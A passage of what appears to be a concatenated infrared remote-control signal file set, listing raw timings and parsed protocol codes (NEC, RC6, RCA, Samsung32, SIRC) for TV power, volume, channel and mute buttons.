1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 +# +name: POWER +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 +# +name: POWER +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOL+ +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CH+ +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: CH- +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: MUTE +type: parsed +protocol: RC6 +address: 00 00 00 00 +command: 0D 00 00 00 +# +# +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7827 172 2332 177 2328 181 2323 176 2330 179 1309 175 1331 174 2331 178 1328 177 2328 181 1307 177 2327 182 1325 180 1326 179 1309 176 1331 174 1332 173 2333 176 2310 178 1328 177 2328 181 1325 180 2306 182 1325 180 2325 174 8340 183 7825 175 2330 179 2326 173 2333 176 2310 178 1328 177 1329 176 2329 180 1308 176 2329 180 1326 179 2326 173 1334 182 1306 179 1328 177 1329 176 1312 183 2322 177 2329 180 1326 179 2325 174 1315 180 2326 173 1333 183 2323 176 8339 183 7824 175 2330 179 2307 181 2324 175 2331 178 1328 177 1330 175 2311 177 1329 176 2329 180 1326 179 2327 182 1305 179 1328 177 1328 177 1311 173 1334 182 2323 176 2330 179 1326 571 1916 180 1327 178 2325 587 920 575 1930 579 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7828 182 2323 176 2328 181 2323 176 2329 180 1308 176 1330 175 2329 180 1326 179 2307 181 2323 176 2329 180 2325 174 1332 173 1315 180 1327 179 1328 177 2327 182 2322 177 1311 173 2332 177 1329 176 1330 175 1312 183 1324 181 8332 180 7826 174 2331 178 2326 173 2313 176 2330 179 1327 178 1328 177 2327 182 1306 179 2326 183 2322 177 2328 181 2323 176 1312 183 1324 181 1325 180 1325 180 2307 181 2323 176 1331 174 2330 179 1327 178 1310 175 1331 174 1332 173 8323 179 7845 176 2311 177 2327 182 2322 177 2328 181 1325 180 1308 177 2328 181 1325 180 2325 174 2330 179 2326 173 2314 174 1332 173 1332 173 1333 183 1306 178 2326 183 2322 177 1329 176 2328 181 1307 177 1329 176 1330 175 1313 182 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 183 7824 176 2329 180 2324 175 2329 180 2324 175 1314 181 1325 180 2324 175 1331 174 2331 178 2307 181 2324 175 1331 174 1331 174 1314 181 1326 179 1326 179 2325 174 2332 177 1310 174 2330 179 1327 178 1328 177 1310 174 2330 179 8334 178 7827 173 2332 177 2327 182 2323 176 2310 178 1328 177 1328 177 2327 182 1306 179 2326 183 2322 177 2327 182 1324 181 1307 177 1329 176 1330 176 1331 174 2311 177 2328 181 1325 180 2324 175 1332 173 1313 182 1325 180 2324 175 8339 173 1383 2522 3925 179 2325 576 1909 590 1915 594 1910 589 918 588 919 576 1911 175 1332 173 2330 592 1912 587 1918 581 907 588 918 598 908 587 920 575 913 592 1914 182 2320 592 914 581 1927 180 1307 178 1327 592 915 580 1925 574 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7830 180 2324 175 2329 180 2324 175 2329 180 1308 176 1329 176 2328 181 1325 180 2305 183 2321 178 1329 177 2327 182 1324 181 1306 178 1328 177 1329 176 2327 182 2304 174 1332 173 2332 177 1328 177 1310 174 2330 179 1327 178 8333 179 7826 174 2330 179 2325 174 2313 175 2329 180 1326 179 1326 179 2325 174 1315 180 2324 175 2329 180 1326 179 2325 174 1314 181 1325 180 1326 179 1308 177 2328 181 2323 176 1330 175 2329 180 1308 176 1330 175 2328 181 1325 180 8314 177 7845 176 2310 178 2327 182 2322 177 2327 182 1323 182 1306 179 2326 173 1333 183 2322 177 2327 182 1305 179 2326 173 1333 183 1323 182 1305 179 1327 178 2326 173 2331 178 1327 178 2308 180 1326 179 1327 178 2325 174 1315 180 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7824 176 2328 181 2323 176 2328 181 2324 175 1312 183 1323 182 2322 177 1330 175 2309 179 2325 174 1332 173 1333 183 1305 179 1327 178 1328 177 1328 177 2308 180 262 177 1885 175 295 175 861 174 2330 179 99 313 911 573 915 590 1916 180 64 349 1910 176 265 174 7896 177 3081 835 3912 182 2322 177 207 179 1942 180 2304 174 268 181 1881 179 263 176 889 177 264 175 886 583 1925 182 271 178 855 180 240 178 1907 174 2331 178 1327 178 1309 176 1329 590 916 589 919 173 306 175 833 181 317 174 1832 175 2329 180 1325 180 309 182 1833 174 1313 182 1325 180 289 181 1853 175 2329 180 8313 178 7845 176 2309 179 2325 174 2331 178 2326 173 1333 183 1304 180 2324 175 1332 173 2330 179 2325 174 1314 181 1325 180 1326 179 1327 178 1308 177 1330 175 2329 180 2324 175 1312 183 2322 177 1329 176 1329 176 2329 180 2304 174 8339 173 351 3575 3902 594 1911 588 1916 593 1911 588 1916 583 904 591 916 589 1915 594 911 584 1920 579 1907 592 915 590 915 591 916 579 908 597 909 596 909 586 1919 580 1907 179 1326 592 1912 597 908 587 901 594 1911 588 1916 593 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4096 3909 587 1917 592 1912 587 1917 540 1964 545 942 584 922 594 1910 589 1916 541 1963 546 1958 572 1913 586 1919 590 915 590 915 549 939 587 919 586 1918 591 1912 545 962 575 913 592 913 582 924 540 948 589 917 588 7923 4040 3964 584 1919 538 1966 543 1943 587 1917 592 914 591 915 538 1965 544 1942 588 1916 593 1911 588 1916 593 1910 589 918 546 942 595 911 594 912 541 1963 546 1939 591 915 590 916 589 916 548 940 586 920 585 920 543 7950 4097 3926 549 1955 575 1910 589 1915 594 1910 589 917 536 952 595 1909 590 1914 595 1909 590 1914 585 1920 537 1967 542 945 592 914 591 915 538 968 569 1916 593 1912 587 919 586 919 545 944 593 913 592 913 540 966 571 +Filetype: IR signals file +Version: 1 +# +name: CH- +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CH- +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CH+ +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOL- +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOL+ +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: POWER +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: VOL- +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: VOL+ +type: parsed +protocol: RCA +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: VOL- +type: raw +frequency: 38381 +duty_cycle: 0.330000 +data: 8885 4455 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 573 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 1641 573 38196 8885 4507 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 38196 +# +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E0 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 23 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +Filetype: IR signals file +Version: 1 +# +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: e6 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 98 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0b 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0f 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CH+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 6D 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 73 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 72 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 195 1833 300 766 280 760 275 790 276 737 309 731 304 1801 301 1804 309 731 304 1801 270 795 282 758 277 762 273 1832 270 769 246 45851 326 1780 302 739 307 785 282 732 303 736 310 1795 307 732 303 763 303 1775 307 733 334 1798 273 1832 270 1810 251 814 273 1780 281 43762 302 1804 309 758 277 737 330 762 284 730 305 734 301 1803 310 1796 306 733 302 1829 273 767 279 734 301 791 275 1804 278 762 253 45870 307 1798 304 763 272 767 279 787 279 760 275 1829 284 730 305 734 301 1804 309 757 278 1827 275 1804 278 1828 274 765 270 1835 278 43740 303 1776 306 787 279 760 275 765 281 759 307 758 277 1775 307 1799 303 736 299 1832 281 759 276 763 304 736 299 1832 281 733 302 45820 306 1800 302 764 282 758 277 788 278 762 284 1821 281 732 303 736 310 1796 307 733 302 1829 273 1806 276 1830 272 767 268 1837 245 43772 302 1778 304 789 277 762 284 756 279 786 249 765 301 1777 336 1770 301 764 282 1824 278 761 274 765 301 738 308 1824 278 761 274 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 254 1721 360 681 354 738 308 706 329 711 355 1774 307 1772 361 1744 327 687 359 1772 299 742 335 705 330 736 279 1825 298 742 283 44773 384 1721 360 707 308 707 359 733 302 711 335 705 361 704 331 708 338 1766 336 704 331 1773 329 1776 306 1773 360 681 323 1782 331 44726 411 1722 328 686 360 733 302 711 335 705 361 1742 329 1803 330 1749 332 708 327 1777 335 705 330 710 325 741 274 1830 303 737 278 44778 359 1747 355 712 303 711 355 711 335 705 330 709 337 703 363 703 332 1770 332 709 337 1767 335 1771 300 1752 360 733 302 1776 326 44731 355 1751 330 711 355 737 309 705 330 710 336 1793 309 1771 331 1774 307 706 360 1771 300 740 326 714 332 735 280 1798 325 741 274 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8958 4449 510 4475 515 4444 515 2213 508 4477 513 2215 516 2212 509 2219 512 2217 514 2214 517 2211 540 2214 517 2211 510 4449 510 2218 513 4472 507 2220 511 30572 8960 2218 513 87698 8966 2211 510 87701 8963 2214 568 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8956 4451 508 2220 511 2217 514 4470 510 4449 510 2218 544 2211 510 2218 513 2215 516 2212 509 2220 511 2217 514 2214 517 2211 510 2245 517 4441 508 2220 511 35049 8961 2215 516 87696 8959 2217 514 87698 8956 2220 511 87701 8964 2213 508 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: 